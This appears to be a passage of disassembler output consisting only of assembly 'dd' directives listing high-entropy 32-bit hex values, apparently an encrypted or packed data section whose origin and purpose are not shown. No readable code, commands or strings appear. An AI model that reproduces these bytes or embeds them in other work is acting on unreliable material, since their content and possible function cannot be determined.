		dd 622D03DCh, 36BC8D39h, 28BB004Bh, 505366D8h, 7DF8B479h
		dd 515D2DCAh, 72E9262h,	0BB326445h, 3371E412h, 58032C4Bh
		dd 0E146B1h, 2832DBBDh,	0BDFF0EC0h, 0C7295183h,	89AEE3B9h
		dd 3E8D122h, 4C6545FCh,	0AC1378B0h, 515EF3B5h, 0FDCE7569h
		dd 5B232485h, 67D76813h, 0E9C43EF9h, 0B5D6F0F5h, 0C5028A70h
		dd 59EC8858h, 0E2DB41B2h, 4AA368E0h, 0B1A1230Fh, 2E9C0C8h
		dd 0D00806C1h, 0BD2180E1h, 0FA47C1CCh, 27B8B4F3h, 839A1F94h
		dd 9C9505Eh, 0B512940h,	21070B4Dh, 49845BDAh, 3A091608h
		dd 0D66B8560h, 5AFEFCB4h, 29FCC42h, 70585BCBh, 92719CBCh
		dd 3EACA17Ah, 97C83528h, 1EEE1C8Bh, 147068A2h, 94CDD19Ch
		dd 8896343Bh, 2FD42F99h, 8C90720h, 0AAB20269h, 0C7880309h
		dd 415BF991h, 0FB284FA9h, 197261D2h, 2790C470h,	3E4CFF9Ch
		dd 0B564050h, 850FDB1Fh, 6884256Ch, 0CDB26E7Ch,	20478F02h
		dd 105CE1E9h, 43D15B3Bh, 5D00AD2Ah, 5973C831h, 0A9E2C34Fh
		dd 0C03B1692h, 0EB295A09h, 0AFDA5D5Bh, 9D5F494Ch, 2C8E6666h
		dd 151D3850h, 68042212h, 5E09D34Bh, 0AD084954h,	3645272Ah
		dd 105C0994h, 0B900ACCEh, 0BAF114Dh, 6109C981h,	8053C655h
		dd 0AD7D7C65h, 4A59069h, 8ADE954Eh, 0D18AC431h,	8BC5292Dh
		dd 0D9C74180h, 0E8F449F5h
		dd 0F21AE9E1h, 34A3813Ch, 2D92D370h, 712980A0h,	0C7069D93h
		dd 0B2A8157h, 53CC3905h, 782B8F8h, 24E87DC1h, 0F70040BDh
		dd 91C535D8h, 89F316h, 0ACBE58C3h, 295C0298h, 0EACDE58h
		dd 6B0C62C6h, 46C5A011h, 99F5BFE9h, 0F189641Eh,	3011E542h
		dd 21E92C49h, 43B565F5h, 14E534C2h, 273B348Ch, 0EAEBF673h
		dd 4D942468h, 0E4B560E5h, 0AE4EB753h, 72365E0Eh, 60B83D88h
		dd 8C2D751Ch, 3975A35Bh, 576DE516h, 4BA02004h, 680CF38Fh
		dd 15AF6E20h, 458B0997h, 70EC2798h, 514A0BF9h, 568180A6h
		dd 3BB2B0E9h, 0E7559A8Ch, 68CF043Dh, 0AC465A69h, 0AF47125Ah
		dd 0D8952E1h, 0E8003769h, 2418F475h, 1259EF01h,	17BCE4C3h
		dd 2CDF922Ch, 9BB13216h, 0E75060h, 1232C1Bh, 8CBE56D8h
		dd 2094650Ch, 9B60E55h,	4E667506h, 0B295D787h, 98E06278h
		dd 7D302408h, 3C0A0C2Bh, 392D40E8h, 75F06000h, 0C583D5F7h
		dd 0AD2FFh, 2A69422Dh, 0EDB82930h, 17A061B8h, 925CEC0h
		dd 51EE50A9h, 2260AD45h, 4D521ECFh, 0D6F7CD87h,	0B61A8308h
		dd 0B77AF118h, 84EAE8C0h, 23E9129Eh, 9EDDECD1h,	4643C08h
		dd 0EA5EF101h, 86517B0Fh, 12184CAEh, 0A80C875Ch, 52C5B4A6h
		dd 8B38E056h, 180D01F1h, 0F74916BDh, 0A4D443D1h, 8915AC80h
		dd 5B1ACA57h, 6B087E85h, 0EDBE015Ch, 202E4338h,	0D198078Fh
		dd 0DE2F0142h, 0F8EEA230h, 5CE42B02h, 0D24125E9h, 7440005Ch
		dd 0E7C12C5Fh, 0CF738102h, 17960B0Fh, 230E37D1h, 59B7C6CBh
		dd 39E0141Ch, 0C701AD89h, 0F71C4D7Dh, 8E426B01h, 0D11D47E9h
		dd 0E3B80B4h, 0E1C12FBBh, 8FE90816h, 0FE5AF249h, 44AAF150h
		dd 45ABF69Ch, 33CA6AAEh, 506E0C69h, 3ADE7ED8h, 7A7C0977h
		dd 65D098E9h, 29619F94h, 892E5AD7h, 68369306h, 2D0A18D5h
		dd 8390C4CEh, 18FA247Eh, 0DE7189E2h, 8724A994h,	0C51051Ch
		dd 0AD2B4A02h, 25BF51D8h, 8CCFECBCh, 6813567Ch,	9BB3258Dh
		dd 0CA5D9C4Eh, 0DECF5B4Ch, 62ABB40Dh, 0C1680620h, 4450B9EDh
		dd 1C026F81h, 7F183093h, 96EA6600h, 21286CA3h, 0EF00EDCFh
		dd 0ECBAD32Dh, 0C0D86BE9h, 923BEADBh, 4C988B45h, 1C294300h
		dd 26223515h, 4831FC8Dh, 0D88476C2h, 0DC5409C6h, 6EC5A9Fh
		dd 0D7257929h, 0EA272DBCh, 88085B16h, 0BE015773h, 74D20251h
		dd 34887621h, 2904BA07h, 0CCE058C6h, 5E26BAD7h,	1FEDDCB9h
		dd 6A0C4903h, 26279DE9h, 680BB5Fh, 784B2483h, 0D6162305h
		dd 6FC70902h, 0B13FCA93h, 0BC706BA1h, 8DBB1707h, 0E91C442Fh
		dd 62AAB140h, 0C07CD086h, 0A45163EBh, 0F40CD768h, 0A9A255F8h
		dd 89052555h, 0F5ACD385h, 942A8C51h, 2024AA17h,	0C32922AAh
		dd 0FEE1FE84h, 79268F49h, 334C879Eh, 0F0D0ACD5h, 0D92ACC12h
		dd 0CDCA9E13h, 0A068C099h, 0CF20D21Dh, 0DBF72455h, 1473256Ch
		dd 2D81664Ah, 5203B897h, 9EC289C4h, 0F358E0CBh,	621803A5h
		dd 1F2B5038h, 1BE9155Bh, 0C23BA5FAh, 0B5CFF3BDh, 322DF88Eh
		dd 0BD9CE69Dh, 58D31B06h, 3D3491B0h, 7E993CA8h,	0B65B5AD8h
		dd 0B6F12097h, 26F927B4h, 0C08692BDh, 51324F3h,	5CC2CC66h
		dd 162B6816h, 2DB29661h, 2381B800h, 563FD01h, 43EF7BEEh
		dd 57C2A672h, 44D497E9h, 0ACF2EF25h, 41812D33h,	3059CE21h
		dd 2F99C409h, 39D2F649h, 707EB9Fh, 0E44D88CBh, 4900EB54h
		dd 27B05234h, 0EE9FC41h, 0F11CE19Eh, 60A88EABh,	595C8F1h
		dd 0F9D0215Ah, 33443A5h, 0C83110E8h, 1DED8C95h,	99B31B14h
		dd 0AE555AC7h, 5CD44BB3h, 0D2E07C38h, 0BAFFB181h, 68CB4809h
		dd 7010284Eh, 5D0D2DC0h, 50F2F666h, 2E98E1BAh, 320FF506h
		dd 120C39F8h, 5C2D22h, 0BD5DEF93h, 5096A70h, 0E2C6E977h
		dd 4045C248h, 991E138h,	0C1576B28h, 0E7721189h,	64ADFE48h
		dd 3DE4AA8Ch, 302CECC5h, 330C18BAh, 3A046B01h, 136C685Ah
		dd 49C11391h, 0EE542924h, 0E9C29737h, 58C90252h, 0BEBAA0A6h
		dd 0CBC411Dh, 0EE834E78h, 7112C662h, 0C71EA32Ch, 9BF11E40h
		dd 58F78995h, 320B75Eh,	58273F13h, 6102D4ECh, 4F6A660Dh
		dd 523BC960h, 0B64E132Ch, 0AF67B002h, 2A0B5756h, 75403974h
		dd 0B0763E6Ah, 54B582C2h, 0C64252Ah, 7FFEC29Fh,	31FCBB22h
		dd 6805B85Dh, 223C4D72h, 0B4257581h, 3352052h, 70A10098h
		dd 0EA83E7E3h, 15B018CEh, 2610F338h, 4A7E96Ah, 46805F4Bh
		dd 503E199Eh, 13AEBE0Dh, 193219Ch, 0A77AA363h, 41D83D15h
		dd 48AB3C08h, 8D0E3506h, 0C73C47ECh, 1E224D8Eh,	5985E7C0h
		dd 82AB2D98h, 49BE1E24h, 0FD1C6FA4h, 0D95DE88Bh, 0C10182D3h
		dd 55F15358h, 0C7E284C9h, 0D1CD8000h, 0B437B353h, 0F5938A30h
		dd 7EC3E1C1h, 80DFA220h, 4E30AFBFh, 53C7DAA7h, 0F25804B1h
		dd 0D95C4168h, 291CFD15h, 4AB06A3h, 380C175Bh, 8A7E62Bh
		dd 0EA2F57DAh, 52E119D4h, 824572E8h, 0EF040340h, 13CA2D80h
		dd 10217A5Fh, 924A1792h, 4550EF12h, 2E38BD07h, 2FA47662h
		dd 0F04A76A8h, 0A10FB3B7h, 0A910B652h, 0B3D350D3h, 88FE3D6Ch
		dd 504FF968h, 0E984D5B2h, 1C8EB843h, 4F22684Ah,	0EF04D129h
		dd 76BE7DECh, 72884840h, 148FB0C3h, 0B4EA8058h,	0E9C8F205h
		dd 1EB954Fh, 36101761h,	201C2031h, 410E6413h, 9759FE07h
		dd 9D3AD0F7h, 341EB203h, 74BE8968h, 0ADD23128h,	5A2931E3h
		dd 453EE00Eh, 5609B17Bh, 0A5330815h, 25C444h, 7A757DDEh
		dd 0BD015544h, 69095273h, 2F34D9E9h, 3158255Fh,	2A8B052Fh
		dd 0F5831263h, 2535FC13h, 8837DFA2h, 5912A8E0h,	0F821F741h
		dd 7060095Fh, 87F0A86Eh, 98E1F5F9h, 34C1DA24h, 40602E0h
		dd 4C021B7h, 2DEB348Bh,	47CB2E63h, 2A1CB55Bh, 7764881h
		dd 325EE512h, 0BF4BD5C5h, 0C7D7950h, 941F6269h,	7CA2A44Ah
		dd 0D9572D7Dh, 0FC499E46h, 97F94910h, 83AD62C4h, 325FF29Ah
		dd 5C945F78h, 4C8B0A90h, 0B955E0F2h, 2D98369h, 68178D3Dh
		dd 2BEB633h, 0CC800FB4h, 0D884DFB6h, 8CCBC7F4h,	0C512EC0Fh
		dd 0F7ECE688h, 0F91EF71Ah, 87201DC1h, 2F03B9E9h, 57C03274h
		dd 0D32921B1h, 58C40AC0h, 5FFE626Ah, 3B925A56h,	0B6BDBEF0h
		dd 0E5019EEDh, 45263CC5h, 0E1CD051Ch, 0DE300606h, 54DC13F1h
		dd 206FA885h, 2F299ECEh, 0B1095B89h, 2A61710Eh,	30196837h
		dd 0B3ECD5B7h, 0DA01F502h, 0A0445CE9h, 1820C9A2h, 96FBA02Ch
		dd 948092EBh, 739427FFh, 77736812h, 7D55A160h, 805E50FAh
		dd 800DD151h, 0C15EBC42h, 3AB76F4Ch, 0D1851927h, 0D05B2792h
		dd 159D496Ah, 0C7295E0Bh, 71BF6100h, 0A4A0774Ch, 140BCE9h
		dd 0C2079659h, 0BF003921h, 5ADE43B1h, 57CF25Ch,	173790Ah
		dd 97CBBE53h, 53CDE913h, 0D09EA8B7h, 6A5D25C6h,	9C905D49h
		dd 0F8B61115h, 32E1ECCBh, 78D4868h, 41BAE25Dh, 0B8283C69h
		dd 2FDC9D5Fh, 8001A7CBh, 25E928EBh, 0DC357BD5h,	0BFB3A385h
		dd 0B380344Bh, 0B22D80F8h, 1420A52Eh, 705D001h,	84AC5A24h
		dd 0BA09EE68h, 5FE98928h, 5FDD00BAh, 0B35DB850h, 8FD95B25h
		dd 7648EB95h, 1EE19615h, 0CB085EE7h, 0EA711647h, 7221108h
		dd 0FF50EB28h, 4034EA2Ch, 12B461FCh, 0B20C2D3Ch, 7DE16085h
		dd 85D48219h, 14C290BCh, 17311E4Eh, 0FFAF841Fh,	68050B5Dh
		dd 0E4E830BCh, 0BA25284h, 0CAE00B29h, 91D8FAD3h, 1AF00845h
		dd 98E38007h, 1CEACB33h, 2706B1BEh, 0C04892F0h,	87E909A5h
		dd 665BB249h, 54562F7Eh, 8CD19662h, 54060CC4h, 0C60B1D59h
		dd 0F2791773h, 0ECE4805Ch
		dd 775C1237h, 3DC11849h, 6178B753h, 0F5177F5Bh,	552FB0E2h
		dd 5D8D550Ch, 0E2D3682Fh, 49AF54E2h, 90082EDCh,	9CB40330h
		dd 0C0E8C480h, 0CDED05ECh, 0BC129673h, 0EE90B816h, 2DA4B7F3h
		dd 0A180D687h, 0F2E9F089h, 31CDA24Fh, 0AEA5A138h, 0C2446E64h
		dd 6EA4A190h, 0D70B1E3Dh, 33CED93Bh, 92592301h,	89A33CAh
		dd 0EA29D398h, 10B25D5Bh, 376299C9h, 4D8E4A0Bh,	2A1C3076h
		dd 6B4A971Bh, 8026AD4h,	725DABE9h, 652C781Ah, 83C0CB2Bh
		dd 0A2A7FEB1h, 88F1D97Ch, 4334ED40h, 0C23B4E9Fh, 0C7ABEE3Bh
		dd 784E2961h, 92B7C7F1h, 2C85F8C5h, 368A842h, 0B4197D6Fh
		dd 0DC8B7BFEh, 0FB204558h, 1118BD0Eh, 5E807235h, 0BEEEC05h
		dd 0C701E7CAh, 0E9172FECh, 0AED4F69Fh, 0EE5276B4h, 0D0890B5Ah
		dd 0A029B3E9h, 8F7006F8h, 0A062ADF4h, 6607599Dh, 399A9D7Dh
		dd 34E10042h, 7FEA4B54h, 0D94C8327h, 0F1D86B36h, 15596B5h
		dd 0EB75FDBAh, 89FCBF3Eh, 0F8E8E90Bh, 8958136Eh, 0F30F12F3h
		dd 41EB8894h, 96C5C0E9h, 8080529Ah, 5A42126Eh, 1483CA64h
		dd 600FBA52h, 75BF650h,	0D329240Ah, 5C082018h, 5C11DA5Ah
		dd 1B075934h, 0A5EF140Ch, 9AC994Bh, 0C1F2E8E7h,	8A7F13AEh
		dd 74720959h, 6B533D61h, 0D8F08FCDh, 9D78237h, 0A52D80DCh
		dd 0FC88B46Eh, 0EF1941ECh, 14B639B0h, 6451E62Bh, 0D931598Bh
		dd 0F9F31643h, 444D81BFh, 0AF6029E8h, 0D6071802h, 365E6803h
		dd 9DB052E4h, 0B43B0548h, 291082A3h, 556365DEh,	971BF6F9h
		dd 92D3D69Fh, 0EBBE0B02h, 0C01F1B65h, 4F565DAEh, 6AC1B0D5h
		dd 262A4718h, 1F7A610Ch, 414D1A18h, 7311ADF5h, 4E43834h
		dd 8F0E7688h, 314A07FBh, 0B24C43F1h, 5D15F3Ch, 0F229B43Eh
		dd 0DFD01BC2h, 0E9D8E730h, 0E691E5Dh, 60D0CF80h, 0F88843F7h
		dd 0BDE0BD5Bh, 81801F4Eh, 13930FF6h, 576B4345h,	252C4CE0h
		dd 93CB8EB5h, 0D7B1A0E8h, 0FE0A814Ah, 0FBC980C1h, 21819AE9h
		dd 0B545BD68h, 0CBA57879h, 0CFAA0F43h, 3127E251h, 9CD143C3h
		dd 14D1C0D0h, 895E2708h, 0EB8BD3C2h, 51598CBAh,	0B02866A7h
		dd 953FB234h, 3B545309h, 789382Eh, 0C52A6946h, 64145FF2h
		dd 3E9EE912h, 38200FDDh, 20B641F8h, 1A04E81Dh, 0CB893B7Eh
		dd 0E85C3682h, 945BC71Ah, 0ED68E2ECh, 0C8E97CC8h, 830B0A62h
		dd 67FB7C9Eh, 3DB6F256h, 0B9445E6h, 0CF2AC66Fh,	135B4B30h
		dd 3EECE8ECh, 0C267AD57h, 6D2256CDh, 55976043h,	9D86814h
		dd 2F328B71h, 1F9DA465h, 19055BF3h, 8078D54Bh, 0DD524C58h
		dd 0F6049390h, 93E5704h, 1CC406BAh, 592840FCh, 0A104934Fh
		dd 931286Fh, 0F12100AAh, 273C664Bh, 9DA1CEF2h, 15887A07h
		dd 0B6154054h, 1293DF5Ch, 7BE83FB5h, 0D45CF893h, 12A61E12h
		dd 5EBE2300h, 0ABDCFBEDh, 20FA9CE9h, 0E52CE992h, 9383B7BCh
		dd 0DA5DAAB2h, 5AC0EA76h, 0E75E48C0h, 0E92202A2h, 0F66558C4h
		dd 4EF37888h, 31D50918h, 4202ED8h, 21583CE8h, 0A29666C9h
		dd 50F041F1h, 6061A5CAh, 209F46E0h, 557FF67Fh, 0E9770DDAh
		dd 0D6F324EAh, 432BE182h, 0A50C8AD3h, 27686FECh, 0D9597EB8h
		dd 303B7269h, 0F1FD9D5Eh, 0BB3D72B0h, 627AA532h, 0ECA52CF1h
		dd 383A1E99h, 245D6631h, 56330046h, 0EE21575Eh,	775E913h
		dd 5C93AA2h, 81BF5524h,	3A945FC2h, 23A71E09h, 92F280B4h
		dd 49807D28h, 4B0459EBh, 510AD8E0h, 0D094B652h,	0A8B8A112h
		dd 8634FCA6h, 0D7887727h, 253F403Ah, 47659609h,	7D470E37h
		dd 0F0660E0Dh, 900A72E2h, 17AAF2DCh, 80B1DEFh, 3528C679h
		dd 88549D81h, 83E2AAC5h, 691F38B0h, 0F44A8FD2h,	0AA8F87FDh
		dd 68136CA0h, 303EE347h, 0F82EC371h, 22C18BA0h,	7B7C6702h
		dd 54366AE9h, 9D446A96h, 0A3E62F8Ah, 13099449h,	0EFA0D92Ch
		dd 0E4D03EF7h, 689323B0h, 79BC5763h, 0AEE25047h, 70A50EFBh
		dd 7921EE9Ch, 876B01B5h, 0ECC5D435h, 0F3F24AEEh, 0D398899Fh
		dd 55F70920h, 4E4DA57Eh, 12ED2061h, 0CCD830ACh,	1700B6A4h
		dd 0F0281E2Ch, 0B0B35366h, 92D55BF0h, 727AC7AFh, 2A94D4ECh
		dd 0AB0F6641h, 19B54D2Fh, 521234AFh, 5B4A3DF2h,	80E8CA99h
		dd 96659AB0h, 0ADE8C536h, 6168820Dh, 9620594Fh,	29345383h
		dd 775B60CCh, 3B360112h, 5001B6F8h, 0D15F980Eh,	7FC2E0EAh
		dd 2278111Fh, 190F01BCh, 0D62954CFh, 0E4F0E693h, 7700F3C8h
		dd 55CE4AEh, 4B34389Dh,	11C49040h, 62004818h, 0AE6814Eh
		dd 98263D2Bh, 0EEC11F88h, 10382603h, 0CE80093Fh, 89BC7437h
		dd 0F6DC013Ch, 0B53B3CD8h, 6816F434h, 8CCC02D5h, 70E64E91h
		dd 44AC68A4h, 0F28233A5h, 685AA0E9h, 0A0C13831h, 809B43D6h
		dd 53075B66h, 0EF8099B7h, 3E7C091h, 0F8605520h,	152732E9h
		dd 0FEC5D349h, 25D872A7h, 31453AA2h, 9D0DC4BFh,	10C1D52Eh
		dd 30547B60h, 0BA126A58h, 5EE1D0DCh, 382CCF3Fh,	4FFA49E9h
		dd 80B52AE2h, 26685616h, 3E183007h, 18C9B9E9h, 0F4CC88E9h
		dd 2619B465h, 35F642D2h, 1A4D364Ch, 72FD7DA0h, 0FD5610EEh
		dd 83E7800Bh, 0F6B0A681h, 0DD12F4DFh, 6AEC1AD7h, 50585CC9h
		dd 72548008h, 0A1E90B66h, 0E5D1BF40h, 8C093C98h, 272BA02h
		dd 7458DA8Dh, 175C9EB5h, 521C49ECh, 145E3BC4h, 0E909A6E6h
		dd 6F462849h, 0CC707C0Fh, 0E05DA91Fh, 6B0509Fh,	4973403h
		dd 0F941DC32h, 845A2C12h, 97E1F727h, 27098B2Bh,	3544F85Ah
		dd 0FBEFA17Dh, 36FC6601h, 0F22130D2h, 49118E3Bh, 316000A5h
		dd 6E25161Bh, 4AD14C59h, 0A3F52312h, 4FE04F7Fh,	35F9833Ah
		dd 245C29B6h, 4BB51BFh,	68660CF7h, 0D94AC2C7h, 5F2084Fh
		dd 16C3315Fh, 2CA02160h, 306800BBh, 0B0469762h,	1EDC5D4Eh
		dd 0A1B08602h, 32D9BF86h, 0DA7F78A0h, 3F8D4E3Bh, 77DBEA02h
		dd 0C8848198h, 83258990h, 68001899h, 2B61540Fh,	719ABF54h
		dd 818A7479h, 8B49B9EEh, 31E62397h, 0CD9FB9F0h,	5788326Ah
		dd 0CE858090h, 62C18F82h, 0C0751062h, 2FBA1769h, 0DF58AF04h
		dd 0B0B5C2B2h, 80063701h, 475F5B68h, 0E658A5DAh, 669A6818h
		dd 5F13E62Dh, 0A00A1727h, 0E9090705h, 3EF9F84Eh, 6AE031ADh
		dd 59A95D2Eh, 0EE0B2FB8h, 0DE52C508h, 0BD3A8930h, 4CEE1355h
		dd 5989CF62h, 0FACAE6E3h, 5A5B1D78h, 612BB8Bh, 853FFC3Ah
		dd 92FCF189h, 59CF31A0h, 9B52E913h, 0B2ED68DDh,	7889E153h
		dd 0B664E42h, 7104ACF4h, 1982F1C0h, 6CEDED85h, 0F2683F1Eh
		dd 0C669EA9Ch, 982D9594h, 0A45E2A0Ch, 4FE9D544h, 793DA8h
		dd 7E1A70E3h, 3382CA81h, 0AEE0034Bh, 9C4525E9h,	4252D5Bh
		dd 7DE40147h, 537ABE5Bh, 0B3AD9C37h, 0DE32FD50h, 83419518h
		dd 0F065C534h, 7F1415F6h, 3D01309h, 734C5DD7h, 0B6E5E84Dh
		dd 3F2C263Ch, 0F53E3C60h, 701EC002h, 0DCF1EE29h, 3CD8DE49h
		dd 919CD83h, 76075954h,	89D03220h, 4EFFEBC4h, 0E9C529DEh
		dd 585DD215h, 8B90F6D8h, 1217215Fh, 0E9A09CB9h,	949F97DCh
		dd 0B41C5EB9h, 42975B5Eh, 0F8218584h, 0BF4DC3B0h, 0C2DBBD82h
		dd 0C3EDD102h, 484BB81Ch, 315E0543h, 9729E9F5h,	67A9563Eh
		dd 1993045Dh, 615218B7h, 5F1D096Bh, 3827C6D2h, 74222146h
		dd 0B570FD05h, 15F13FBh, 5BCCEDFh, 344059E9h, 654460C0h
		dd 5A2C7AF1h, 0ECBB9587h, 1756943Ah, 36F50643h,	13D14330h
		dd 805E1C0h, 28079A39h,	0FA3359EFh, 2CE2D95Bh, 9F69381h
		dd 704CCF4Fh, 0A36ABA5Ah, 390C6761h, 0A351CB21h, 3DC5CCD7h
		dd 0D7F6544h, 0C4298234h
		dd 21DFBA00h, 31271303h, 0A2E9BDD5h, 14B523Fh, 244295C6h
		dd 31FE2918h, 0B3080468h, 0E38D5BEBh, 9EEF176Ah, 5BB45A1Dh
		dd 562FEF84h, 6E4714B3h, 6639102h, 0A1AB010Ch, 0AD4DBC04h
		dd 0A5F83B41h, 0FCBA0978h, 640DC365h, 0B98BF12h, 9982B66h
		dd 1DBE6858h, 5414DB9Ah, 0DA50EA42h, 4BEC9D3Fh,	6644CD2Dh
		dd 0B52B261Eh, 5E1EAE1h, 0D8267168h, 391777F0h,	0B5B37633h
		dd 28B2A540h, 4E76912h,	116889BAh, 0C81EC041h, 3C5CD029h
		dd 46B12D18h, 0B014A72h, 1A231F3h, 0F4DC45C7h, 0ECC1C47h
		dd 3EC28C0h, 1F8791E3h,	389CC9E5h, 0F257C7A5h, 20221B9Dh
		dd 139E7C17h, 5EAA09h, 46260726h, 0E548C139h, 51AC1256h
		dd 61C264AAh, 32D498D1h, 0F7C1F55h, 5DAE4D99h, 0DE13BC69h
		dd 0DE3CF92Dh, 56A442C9h, 0A4D6A46Dh, 24B020D7h, 149E2204h
		dd 0D71010DBh, 0FE814BB8h, 0BF49DC45h, 6BAF3D70h, 0A94C1295h
		dd 92C99725h, 603B62CCh, 2B84FBh, 0A1357944h, 0F70A0343h
		dd 253ED05Ch, 588F3145h, 880411C8h, 6C95957Dh, 3D014C50h
		dd 9DB4582Eh, 0A98E9850h, 68BF5268h, 80A709E6h,	64AE2C1h
		dd 3404ECA9h, 0C04A2FD0h, 0E54A03Eh, 0D0015227h, 5A08803Ah
		dd 0EEF74829h, 7D391D75h, 0BCD9D63Fh, 0F5930263h, 0C22991DEh
		dd 2531DA8Bh, 0D1595B54h, 68B75644h, 0C30DC35Dh, 20D911E9h
		dd 4439CCF4h, 4662FBEh,	50F56CAAh, 26D3146Fh, 8814075Bh
		dd 5AD723C2h, 0BB4A5BD2h, 0CDF49C66h, 6195B9B2h, 13F7681h
		dd 796859D9h, 0A6234Ch,	69671CBDh, 0B440E918h, 283A2CBCh
		dd 4E7C1E8Dh, 0D001CB50h, 0E9624956h, 2C7848CAh, 74E4B5h
		dd 0B652F028h, 0C0C6FEAFh, 0F607EE09h, 73FC83D6h, 0A08B74CFh
		dd 3E71FBB7h, 74983E0Dh, 0BABB1AFEh, 2ECC7B02h,	41C8E381h
		dd 0C82387Ah, 3B7048B2h, 726B9260h, 1099663Fh, 6809F6C5h
		dd 58D436FAh, 0BA23A62h, 0DBA53AF3h, 94580C07h,	0B097AD26h
		dd 802ECF57h, 7FE16852h, 5A23D3CAh, 4A25E91Fh, 22A52EA1h
		dd 0F059AA42h, 102D2641h, 0D872C9Fh, 308F3D3Bh,	35AD3A6h
		dd 70ED21DDh, 0F64A9E68h, 0FCCA18DAh, 0B55AD165h, 1D68A201h
		dd 727C481Eh, 7027DA6Ch, 5CE6F255h, 85A7D3EFh, 376EF033h
		dd 719C7302h, 82284AE9h, 7A660246h, 0B0B47075h,	6030A0E0h
		dd 49FB9652h, 0CFB798Bh, 0D8E9D103h, 800E0E17h,	0C26C71CAh
		dd 5CB4FEBEh, 69B3BF00h, 8151B1h, 667FAEE7h, 27E94F19h
		dd 8FCCF14Fh, 306B4B5h,	4C0CB866h, 14A335A3h, 81E8C1C1h
		dd 62A62DA2h, 1F7536E9h, 0BD943778h, 1971B106h,	0FF0E6820h
		dd 0C1281C25h, 0B049FAF7h, 1A06C56Ch, 0C1BC81Eh, 0AC876F00h
		dd 0E9FE019Dh, 0FFD4AAF3h, 0F65C8919h, 0B3254264h, 0E645F4h
		dd 165E55C2h, 0EA7E0109h, 0EE0844E5h, 0C335952Dh, 112A82C2h
		dd 61BF0093h, 1D01D929h, 4DAACF81h, 0F0300DA7h,	53C6B73Eh
		dd 42A3AAA3h, 70C77D03h, 0DA1AAE40h, 7583EA15h,	965E6B8Eh
		dd 1265B820h, 5CF42919h, 6A1113C7h, 44980662h, 0E9801912h
		dd 840B3335h, 0F0D2F75Ah, 84A6603h, 8712E403h, 3205EB50h
		dd 43EB5AD5h, 0BB53D1FDh, 0EB90DD60h, 4F796E48h, 2BD9441h
		dd 5B038808h, 7BC256DCh, 2C8702BCh, 31A0DB09h, 7E28F6BDh
		dd 2048A68Bh, 32C64E2Fh, 0F132595Ah, 60B19031h,	7EE7B592h
		dd 0E402BF09h, 63381892h, 0B5129875h, 81D5D682h, 56232EB9h
		dd 79046A48h, 1EF9963Ch, 41F83113h, 0C06CC3F2h,	9BEA4208h
		dd 173CC959h, 3489A42Eh, 2A7AC93Ah, 68824FA3h, 0F0460134h
		dd 2F9E5279h, 49C15049h, 0A35E015Eh, 0B450C3F9h, 0D0E4CB89h
		dd 2734B151h, 0B09B6E9h, 5AE98251h, 2CCC09Bh, 0BD702269h
		dd 8D425328h, 1F00BABEh, 0E98BC3D1h, 253E5FBEh,	53BE82A9h
		dd 0E7A1136Eh, 243AF9h,	0BD349CC0h, 899205B2h, 9475E9CEh
		dd 7313EEFAh, 0E78C7B1Bh, 5A389126h, 86703433h,	0C59716FFh
		dd 33628BD3h, 6870E056h, 327A4F22h, 545E1Ah, 0D231E961h
		dd 0F06E436h, 0F07B0338h, 0E90D0B62h, 982EFD52h, 6673B2A0h
		dd 0B03F5051h, 0E0E12F6Fh, 96D1F66Ah, 28B3077Ah, 610269F9h
		dd 0E65D2689h, 2C4F8607h, 68C81813h, 1A4902F6h,	0A08464BCh
		dd 0DEDBFCD0h, 100CA54Bh, 4AA968D2h, 2CFEE304h,	4304CAA1h
		dd 0F082475Fh, 0E6E878EBh, 0C10F2DCEh, 0C495B078h, 3E3263Ah
		dd 31E210C2h, 0A56E345Bh, 2AFD997Eh, 95C22B74h,	47210110h
		dd 68CE6F1Ch, 17BEE75Ah, 3D56D9E9h, 8C46A901h, 2D309C22h
		dd 4D1B04E5h, 0C4CA290Dh, 1608139Fh, 7112A5h, 99205BE0h
		dd 90B35711h, 415E6425h, 10F67C48h, 462F4159h, 86683B02h
		dd 0B9A11855h, 73291741h, 9BBA77Bh, 0E05EF231h,	82E5E02Fh
		dd 0F48D3C41h, 294A4C37h, 5B8B5FB9h, 0D92DCBFCh, 7FFE4909h
		dd 13BAC5C9h, 30D1B657h, 5AC4E468h, 6F329859h, 41B60FF5h
		dd 0E213D9D9h, 0EA874241h, 38B2078Ah, 451BB2A0h, 4404D5F7h
		dd 0B6B9B98Eh, 0DE963A6Eh, 5AAC548Fh, 0C328BC09h, 800BB142h
		dd 0C7A4614Ch, 1268A6A8h, 6A24384Eh, 50FF68ABh,	782DC8C1h
		dd 0C3415F42h, 902B10E9h, 0A636D7A4h, 0A0891120h, 30549144h
		dd 0ED0C7649h, 674AD2BDh, 5251BC80h, 0AD7F4BE9h, 0C8F53F77h
		dd 0A53D3D96h, 29A0E093h, 495890CBh, 0A64B4605h, 97F5D683h
		dd 1F2FD5FCh, 0EC010689h, 0BF08207Ah, 0FA391DE8h, 2A516FB4h
		dd 0AC0E172Eh, 1E9F1DBh, 5A3D3D28h, 2D9EB529h, 0EAC8E1E8h
		dd 0E159E283h, 846B528Eh, 0A168BCC3h, 0C97F03E9h, 9068F8E2h
		dd 0D45F274Ch, 92884E47h, 95AEBFF6h, 4C78FD93h,	0C5D320ABh
		dd 0AE1A9E0Ch, 30B8E335h, 3064510h, 147AA905h, 5B0A0157h
		dd 0F001123Dh, 0E907402Dh, 5DB629A4h, 9045988Bh, 2E3E277Ah
		dd 0AC111FAEh, 0F1E0D2Dh, 0B6133A82h, 3FB32302h, 0E66FC0ACh
		dd 0CE0D16EBh, 7956E87Eh, 6512F678h, 0BB24B435h, 71E98904h
		dd 0A22E7AB1h, 80B5C0C9h, 0ECE9E830h, 4876BAACh, 0C71103CDh
		dd 83A65F43h, 0B8FB6092h, 0DB073E25h, 0C1DF051Ch, 0EE01E99Ah
		dd 18B17327h, 7C34046Ah, 0C2A1129Ch, 5C160E6Ch,	344844D3h
		dd 1805008Eh, 5585443h,	0EDEBC35h, 0D63FBD4h, 0E9EFA8C5h
		dd 28AC5016h, 736B461h,	33C4ED80h, 0F5B14EC5h, 6EEBC10Eh
		dd 0A67A9A62h, 309689D8h, 0EFE137BAh, 952CC780h, 0A73E3B59h
		dd 0ED78C84h, 9A2890F6h, 370B2E41h, 2899C995h, 74CF2C68h
		dd 922FBF26h, 16558CEh,	0B85038F9h, 0F4C80850h,	0A5586A10h
		dd 3DDC19D5h, 0F8DDD8ADh, 0FB4BA191h, 88ED8989h, 50C60975h
		dd 52681369h, 3B4B8C6Ah, 50D2702h, 7D0756E9h, 0C2014D99h
